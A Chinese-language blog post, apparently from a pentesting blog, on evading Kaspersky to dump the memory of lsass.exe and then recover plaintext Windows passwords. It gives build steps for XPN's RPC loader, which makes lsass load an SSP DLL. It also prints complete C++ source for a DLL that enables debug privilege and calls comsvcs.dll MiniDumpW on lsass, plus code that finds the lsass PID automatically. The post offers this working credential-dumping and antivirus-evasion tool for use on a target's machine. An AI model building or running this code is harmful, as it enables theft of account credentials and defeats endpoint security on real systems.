绕过卡巴斯基dump进程lsass.exe内存

  • 1:简介
  • 2:流程
    • 2.1:编译XPN大牛的代码
    • 2.2:实现dump内存代码
    • 2.3:自动获取lsass.exe进程的pid
    • 3:效果

1:简介

起因是前两天看到QAX-Ateam的一篇关于渗透的文章《这是一篇“不一样”的真实渗透测试案例分析文章》,里面提到了学习XPN大牛的方法,绕过卡巴斯基的防护机制成功dump进程lsass.exe的内存,再将其下载到本地完成抓取明文密码的工作。
本文简单将其过程做梳理,方便使用,原理方面推荐看如下几篇文章:
(1)XPN大佬的英文原文
(2)安全客的翻译文章
(3)n1nty大牛的内容
(4)3gstudent大牛的文章
基本上看完这四篇文章,不能完全理解也能懂个大概,由于涉及内容相对深入一点,我觉得初学者就记得一个点就好:用这种办法可以绕过卡巴斯基的防护,成功dump进程lsass.exe的内存,完成明文密码抓取工作。用Ateam文章的说法就是“加载dll到lsass进程然后,让lsass.exe读自己的内存完成dump工作”。:)

2:流程

2.1:编译XPN大牛的代码

XPN大牛写了使用RPC控制lsass加载SSP的代码,这里不做过多介绍:
代码地址:https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
这里我们要做的只是将三个文件下载到本地,使用visual studio进行编译即可。笔者使用visual studio 2019,修改了几个小地方
(1)添加如下代码

#pragma comment(lib, "Rpcrt4.lib")

(2)将两个文件的后缀名从.c改成.cpp
(3)编译时选择X64
编译XPN大牛代码得到文件:ssp_rpc_loader.exe

2.2:实现dump内存代码

正如Ateam文章中提到,有了这个exe文件,自己再用代码实现dump内存即可,这里直接放Ateam大佬们的代码:

#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG Privilege, BOOL Enable,BOOL CurrentThread, PULONG Enabled);int dump() {HRESULT             hr;_MiniDumpW          MiniDumpW;_RtlAdjustPrivilege RtlAdjustPrivilege;ULONG               t;MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");if (MiniDumpW == NULL) {return 0;}// try enable debug privilegeRtlAdjustPrivilege(20, TRUE, FALSE, &t);wchar_t  ws[100];swprintf(ws, 100, L"%hs", "784 c:\\1.bin full"); //784是lsass进程的pid号  "<pid> <dump.bin> full" MiniDumpW(0, 0, ws);return 0;}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {switch (ul_reason_for_call) {case DLL_PROCESS_ATTACH:dump();break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}

注意:在pid那个地方,这里应该输入对方电脑上lsass.exe进程的pid,所以要先确认pid,再编译这样才能准确dump进程lsass.exe的内存。

再来简单说一下代码原理,就是使用comsvcs.dll的导出函数MiniDumpW来实现dump内存,有兴趣的朋友可以自己实现以下,也可以调用MiniDumpWriteDump()实现,函数原型:

BOOL MiniDumpWriteDump(HANDLE                            hProcess,DWORD                             ProcessId,HANDLE                            hFile,MINIDUMP_TYPE                     DumpType,PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,PMINIDUMP_CALLBACK_INFORMATION    CallbackParam
);

有大牛写了代码,作为懒人就直接抄就好啦。

2.3:自动获取lsass.exe进程的pid

如2.2写的那样,这个代码有个缺点,就是需要每次先去找对方电脑lsass.exe进程的pid,而且每用一次就要编译一次,这就比较麻烦。那懒散的安全工程师肯定要改改代码。
既然我们的目标是针对lsass.exe进程,那我们只需要加上动态获取lsass.exe进程pid的代码即可。
代码如下:

#include <iostream>
#include <string>
#include <map>
#include <windows.h>
#include <TlHelp32.h>
using namespace std;int FindPID()
{PROCESSENTRY32 pe32;pe32.dwSize = sizeof(pe32);HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProcessSnap == INVALID_HANDLE_VALUE) {cout << "CreateToolhelp32Snapshot Error!" << endl;;return false;}BOOL bResult = Process32First(hProcessSnap, &pe32);while (bResult){if (_wcsicmp(pe32.szExeFile , L"lsass.exe") == 0){return pe32.th32ProcessID;}bResult = Process32Next(hProcessSnap, &pe32);}CloseHandle(hProcessSnap);return -1;
}int main()
{cout << FindPID();return 0;
}

我们接下来要做的就是把2.2代码和2.3代码写进一个文件,修改少许,然后编译成dll即可。

3:效果

用一张图来概括吧:
注意点也如图,dll需要写绝对路径,至于1.bin文件位置,文件名去2.2修改代码即可

结束:)

绕过卡巴斯基dump进程lsass.exe内存相关推荐

  1. 彻底解决LSASS.exe进程病毒!

    lsass.exe是一个系统进程,用于微软Windows系统的安全机制.它用于本地安全和登陆策略.注意:lsass.exe也有可能是Windang.worm.irc.ratsou.b.Webus.B. ...

  2. 磁碟机变种简单分析(lsass.exe、smss.exe、dnsq.dll、NetApi000.sys)

    from: http://bbs.xcdx169.net/redirect.php?tid=56034&goto=lastpost&sid=NrNn1c 磁碟机变种简单分析(lsass ...

  3. 遮天 | 实战绕过卡巴斯基、Defender上线CS和MSF及动态命令执行...

    # zTian.red:绕过卡巴斯基.360安全卫士.Windows Defender动态执行CS.MSF命令... 测试目标:Windows Defender.卡巴斯基.360安全卫士极速版 系统环 ...

  4. 绕过卡巴斯基主动防御系统方法的讨论

    http://huaidan.org/archives/2084.html ==Ph4nt0m Security Team== Issue 0x02, Phile #0x08 of 0x0A |=-- ...

  5. c++ fork 进程时 共享内存_因为没答好进程间通信,面试挂了...

    前言 开场小故事 炎炎夏日,张三骑着单车去面试花了 1 小时,一路上汗流浃背. 结果面试过程只花了 5 分钟就结束了,面完的时候,天还是依然是亮的,还得在烈日下奔波 1 小时回去. 面试五分钟,骑车两 ...

  6. 32位应用程序单个进程最大占用内存是4GB

    32位应用程序单个进程最大占用内存是4GB左右,这个问题是因为需要测试大数据里才能体现出来的问题,所以反反复复花了一周多的时间来搞定它,希望大家在对它有一个印象.64位的应用程序的时候就不会有这个限制 ...

  7. 20221208AD域控服务器问题解决记录--lsass.exe上传流量异常

    前序 最近在昌平对DB做AD域控的计划,在落实这个计划的过程中,碰到一些问题,解决问题后,记录一下过程和事后的感受. 出现 在落实域控的过程中,由于技术部门的资产中,有一部分在云上,一部分在本地机房, ...

  8. c++ fork 进程时 共享内存_linux共享内存mmap

    Linux进程间通信-共享内存mmap 采用共享内存通信的一个显而易见的好处是效率高,因为进程可以直接读写内存,而不需要任何数据的拷贝.对于像管道和消息队列等通信方式,则需要在内核和用户空间进行四次的 ...

  9. 文件内存映射mmap解决大文件快速读写问题和进程间共享内存

    mmap函数主要用途有三个: 1.将一个普通文件映射到内存中,通常在需要对文件进行频繁读写时使用,这样用内存读写取代I/O读写,以获得较高的性能: 2.将特殊文件进行匿名内存映射,可以为关联进程提供共 ...

  10. Android系统中的进程管理:内存的回收

    本文是Android系统进程管理的第三篇文章.进程管理的前面两篇文章,请参见这里: Android系统中的进程管理:进程的创建 Android系统中的进程管理:进程的优先级 本文适合Android平台 ...

最新文章

  1. hdu 1798(几何问题)
  2. 文献学习(part23)--双向聚类方法综述
  3. vue create()获取ref_vue-next+typescript 初体验
  4. 11产品经理要懂的-人性行为之善良友好的本质
  5. python在医学领域应用_深度学习在健康医疗领域应用
  6. axure树形表格_Axure教程:可增删改的树型结构
  7. 阶段3 2.Spring_03.Spring的 IOC 和 DI_11 set方法注入
  8. 内核模块的加载与卸载
  9. 前端加密JS库—CryptoJS
  10. 计算机等考网络真题2018,2018年网络管理员考试试题及答案
  11. 经济学论文素材之汇率波动的外汇风险
  12. 网站接口被恶意攻击怎么办
  13. 编写python程序、计算账户余额_《易学Python》——第1章 为何学习Python 1.1 学习编程...
  14. 为什么我不看好人人网在美国上市
  15. Redmine3.3.3 搭建与不完全填坑指南
  16. Android中级面筋:开发2年的程序员如何短期突击面试?跟着这几步去准备,大厂也不远了
  17. 【stm32c8t6多路舵机PWM输出】
  18. 逆变器阻抗扫描 扫频法 阻抗扫描 阻抗建模验证
  19. 企业应如何选择服务器,既能节省成本又保证性能
  20. VM8 asdebug.js:1 GET http://192.168.1.106:7101/GOODS/G-F-Kill net::ERR_CONNECTION_REFUSED

热门文章

  1. SUCTF2019 EasyWeb
  2. matlab截取图像像素,图像中获取图像的像素值
  3. 计算机技术在中医药的应用,计算机技术在中医药领域的应用概况
  4. Dagger2简单使用
  5. c语言编程绝对质数,C语言《绝对素数》
  6. 药师经(生字注音图文版)
  7. LPC1788 NVIC 的设置
  8. Aspose.word保存PDF时进行授权访问设置
  9. linux shell经典脚本,10个经典Linux Shell脚本
  10. 最全iOS开发之第三方库